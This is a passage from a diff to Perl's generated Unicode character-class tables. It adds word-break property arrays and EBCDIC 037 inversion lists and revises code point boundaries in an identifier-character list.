WB_Other, + WB_MidNum, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Format, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Perl_Tailored_HSpace, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Hebrew_Letter, + WB_Extend, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_Other, + WB_Hebrew_Letter, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_MidNum, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_Extend, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ExtendNumLet, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_MidLetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidNum, + WB_Other, + WB_MidNumLet, + WB_Other, + WB_MidLetter, + WB_MidNum, + WB_Other, + WB_ALetter, + WB_Other, + WB_ExtendNumLet, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Extend, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Katakana, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Format, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Numeric, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Other, + WB_Extend, + WB_Other, + WB_ALetter, + WB_Extend, + WB_Other, + WB_Numeric, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_ALetter, + WB_Other, + WB_Regional_Indicator, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Modifier, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base_GAZ, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Glue_After_Zwj, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_E_Base, + WB_Other, + WB_Format, + WB_Other, + WB_Extend, + WB_Other, + WB_Extend, + WB_Other +}; + +#endif /* defined(PERL_IN_REGEXEC_C) */ + +#if defined(PERL_IN_REGCOMP_C) -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +static const UV UpperLatin1_invlist[] = { /* for EBCDIC 037 */ + 57, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x4, + 0x5, + 0x6, + 0x7, + 0x8, + 0xB, + 0x14, + 0x16, + 0x17, + 0x18, + 0x1A, + 0x1C, + 0x20, + 0x25, + 0x28, + 0x2D, + 0x30, + 0x32, + 0x33, + 0x37, + 0x38, + 0x3C, + 0x3E, + 0x3F, + 0x41, + 0x4B, + 0x51, + 0x5A, + 0x5F, + 0x60, + 0x62, + 0x6B, + 0x70, + 0x79, + 0x80, + 0x81, + 0x8A, + 0x91, + 0x9A, + 0xA1, + 0xAA, + 0xB0, + 0xB1, + 0xBA, + 0xBC, + 0xC0, + 0xCA, + 0xD0, + 0xDA, + 0xE0, + 0xE1, + 0xE2, + 0xEA, + 0xF0, + 0xFA, + 0x100 +}; + +#endif /* defined(PERL_IN_REGCOMP_C) */ + +#if defined(PERL_IN_PERL_C) + +static const UV VertSpace_invlist[] = { /* for EBCDIC 037 */ + 9, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x2028, + 0x202A +}; + +static const UV XPerlSpace_invlist[] = { /* for EBCDIC 037 */ + 23, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x5, + 0x6, + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; -static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ - 1417, /* Number of elements */ +static const UV XPosixAlnum_invlist[] = { /* for EBCDIC 037 */ + 1377, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -362752,8 +85444,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x5A, 0x62, 0x6A, - 0x6D, - 0x6E, 0x70, 0x79, 0x80, @@ -362769,13 +85459,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xA2, 0xAA, 0xAC, - 0xAD, - 0xAE, 0xAF, - 0xB3, - 0xB4, - 0xBA, - 0xBB, 0xC1, 0xCA, 0xCB, @@ -362800,15 +85484,19 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2ED, 0x2EE, 0x2EF, - 0x300, + 0x345, + 0x346, + 0x370, 0x375, 0x376, 0x378, - 0x37B, + 0x37A, 0x37E, 0x37F, 0x380, 0x386, + 0x387, + 0x388, 0x38B, 0x38C, 0x38D, @@ -362818,8 +85506,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x3F6, 0x3F7, 0x482, - 0x483, - 0x488, 0x48A, 0x530, 0x531, @@ -362828,7 +85514,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x55A, 0x561, 0x588, - 0x591, + 0x5B0, 0x5BE, 0x5BF, 0x5C0, @@ -362845,38 +85531,50 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x610, 0x61B, 0x620, + 0x658, + 0x659, 0x66A, 0x66E, 0x6D4, 0x6D5, 0x6DD, - 0x6DF, + 0x6E1, 0x6E9, - 0x6EA, + 0x6ED, 0x6FD, 0x6FF, 0x700, 0x710, - 0x74B, + 0x740, 0x74D, 0x7B2, 0x7C0, + 0x7EB, + 0x7F4, 0x7F6, 0x7FA, 0x7FB, 0x800, - 0x82E, + 0x818, + 0x81A, + 0x82D, 0x840, - 0x85C, - 0x860, - 0x86B, + 0x859, 0x8A0, 0x8B5, 0x8B6, 0x8BE, 0x8D4, - 0x8E2, + 0x8E0, 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, + 0x93D, + 0x94D, + 0x94E, + 0x951, + 0x955, 0x964, 0x966, 0x970, @@ -362894,11 +85592,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BC, + 0x9BD, 0x9C5, 0x9C7, 0x9C9, 0x9CB, + 0x9CD, + 0x9CE, 0x9CF, 0x9D7, 0x9D8, @@ -362908,8 +85608,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x9E4, 0x9E6, 0x9F2, - 0x9FC, - 0x9FD, 0xA01, 0xA04, 0xA05, @@ -362926,14 +85624,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xA37, 0xA38, 0xA3A, - 0xA3C, - 0xA3D, 0xA3E, 0xA43, 0xA47, 0xA49, 0xA4B, - 0xA4E, + 0xA4D, 0xA51, 0xA52, 0xA59, @@ -362956,12 +85652,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xAB4, 0xAB5, 0xABA, - 0xABC, + 0xABD, 0xAC6, 0xAC7, 0xACA, 0xACB, - 0xACE, + 0xACD, 0xAD0, 0xAD1, 0xAE0, @@ -362969,7 +85665,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xAE6, 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -362984,12 +85680,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xB34, 0xB35, 0xB3A, - 0xB3C, + 0xB3D, 0xB45, 0xB47, 0xB49, 0xB4B, - 0xB4E, + 0xB4D, 0xB56, 0xB58, 0xB5C, @@ -363025,7 +85721,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xBC6, 0xBC9, 0xBCA, - 0xBCE, + 0xBCD, 0xBD0, 0xBD1, 0xBD7, @@ -363047,7 +85743,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xC46, 0xC49, 0xC4A, - 0xC4E, + 0xC4D, 0xC55, 0xC57, 0xC58, @@ -363068,12 +85764,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBC, + 0xCBD, 0xCC5, 0xCC6, 0xCC9, 0xCCA, - 0xCCE, + 0xCCD, 0xCD5, 0xCD7, 0xCDE, @@ -363084,17 +85780,21 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, 0xD45, 0xD46, 0xD49, 0xD4A, + 0xD4D, + 0xD4E, 0xD4F, 0xD54, 0xD58, @@ -363116,8 +85816,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xDBE, 0xDC0, 0xDC7, - 0xDCA, - 0xDCB, 0xDCF, 0xDD5, 0xDD6, @@ -363131,7 +85829,9 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xE01, 0xE3B, 0xE40, - 0xE4F, + 0xE47, + 0xE4D, + 0xE4E, 0xE50, 0xE5A, 0xE81, @@ -363164,7 +85864,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xEC5, 0xEC6, 0xEC7, - 0xEC8, + 0xECD, 0xECE, 0xED0, 0xEDA, @@ -363172,31 +85872,35 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xEE0, 0xF00, 0xF01, - 0xF18, - 0xF1A, 0xF20, 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, + 0xF40, 0xF48, 0xF49, 0xF6D, 0xF71, - 0xF85, - 0xF86, + 0xF82, + 0xF88, 0xF98, 0xF99, 0xFBD, - 0xFC6, - 0xFC7, 0x1000, + 0x1037, + 0x1038, + 0x1039, + 0x103B, 0x104A, 0x1050, + 0x1063, + 0x1065, + 0x1069, + 0x106E, + 0x1087, + 0x108E, + 0x108F, + 0x1090, + 0x109A, + 0x109C, 0x109E, 0x10A0, 0x10C6, @@ -363238,10 +85942,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1316, 0x1318, 0x135B, - 0x135D, + 0x135F, 0x1360, - 0x1369, - 0x1372, 0x1380, 0x1390, 0x13A0, @@ -363261,9 +85963,9 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1700, 0x170D, 0x170E, - 0x1715, + 0x1714, 0x1720, - 0x1735, + 0x1734, 0x1740, 0x1754, 0x1760, @@ -363273,15 +85975,15 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1772, 0x1774, 0x1780, - 0x17D4, + 0x17B4, + 0x17B6, + 0x17C9, 0x17D7, 0x17D8, 0x17DC, - 0x17DE, + 0x17DD, 0x17E0, 0x17EA, - 0x180B, - 0x180E, 0x1810, 0x181A, 0x1820, @@ -363295,7 +85997,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1920, 0x192C, 0x1930, - 0x193C, + 0x1939, 0x1946, 0x196E, 0x1970, @@ -363305,44 +86007,52 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x19B0, 0x19CA, 0x19D0, - 0x19DB, + 0x19DA, 0x1A00, 0x1A1C, 0x1A20, 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, + 0x1A61, + 0x1A75, + 0x1A80, 0x1A8A, 0x1A90, 0x1A9A, 0x1AA7, 0x1AA8, - 0x1AB0, - 0x1ABE, 0x1B00, + 0x1B34, + 0x1B35, + 0x1B44, + 0x1B45, 0x1B4C, 0x1B50, 0x1B5A, - 0x1B6B, - 0x1B74, 0x1B80, - 0x1BF4, + 0x1BAA, + 0x1BAC, + 0x1BE6, + 0x1BE7, + 0x1BF2, 0x1C00, - 0x1C38, + 0x1C36, 0x1C40, 0x1C4A, 0x1C4D, 0x1C7E, 0x1C80, 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF4, + 0x1CF5, + 0x1CF7, 0x1D00, - 0x1DFA, - 0x1DFB, + 0x1DC0, + 0x1DE7, + 0x1DF5, + 0x1E00, 0x1F16, 0x1F18, 0x1F1E, @@ -363380,22 +86090,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1FF5, 0x1FF6, 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, 0x2102, 0x2103, 0x2107, @@ -363404,7 +86104,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2114, 0x2115, 0x2116, - 0x2118, + 0x2119, 0x211E, 0x2124, 0x2125, @@ -363413,6 +86113,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2128, 0x2129, 0x212A, + 0x212E, + 0x212F, 0x213A, 0x213C, 0x2140, @@ -363422,6 +86124,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x214F, 0x2160, 0x2189, + 0x24B6, + 0x24EA, 0x2C00, 0x2C2F, 0x2C30, @@ -363429,6 +86133,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2C60, 0x2CE5, 0x2CEB, + 0x2CEF, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -363440,7 +86146,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2D68, 0x2D6F, 0x2D70, - 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -363460,18 +86166,18 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2DDF, 0x2DE0, 0x2E00, + 0x2E2F, + 0x2E30, 0x3005, 0x3008, 0x3021, - 0x3030, + 0x302A, 0x3031, 0x3036, 0x3038, 0x303D, 0x3041, 0x3097, - 0x3099, - 0x309B, 0x309D, 0x30A0, 0x30A1, @@ -363479,7 +86185,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, @@ -363489,7 +86195,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x3400, 0x4DB6, 0x4E00, - 0x9FEB, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, @@ -363499,11 +86205,11 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xA610, 0xA62C, 0xA640, - 0xA670, + 0xA66F, 0xA674, - 0xA67E, + 0xA67C, 0xA67F, - 0xA6F2, + 0xA6F0, 0xA717, 0xA720, 0xA722, @@ -363513,30 +86219,42 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xA7B0, 0xA7B8, 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, 0xA828, 0xA840, 0xA874, 0xA880, + 0xA8C4, + 0xA8C5, 0xA8C6, 0xA8D0, 0xA8DA, - 0xA8E0, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, 0xA900, - 0xA92E, + 0xA92B, 0xA930, - 0xA954, + 0xA953, 0xA960, 0xA97D, 0xA980, - 0xA9C1, + 0xA9B3, + 0xA9B4, + 0xA9C0, 0xA9CF, 0xA9DA, 0xA9E0, + 0xA9E5, + 0xA9E6, 0xA9FF, 0xAA00, 0xAA37, @@ -363547,13 +86265,19 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xAA60, 0xAA77, 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAABF, + 0xAAC0, + 0xAAC1, + 0xAAC2, 0xAAC3, 0xAADB, 0xAADE, 0xAAE0, 0xAAF0, 0xAAF2, - 0xAAF7, + 0xAAF6, 0xAB01, 0xAB07, 0xAB09, @@ -363570,8 +86294,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xAB66, 0xAB70, 0xABEB, - 0xABEC, - 0xABEE, 0xABF0, 0xABFA, 0xAC00, @@ -363603,43 +86325,21 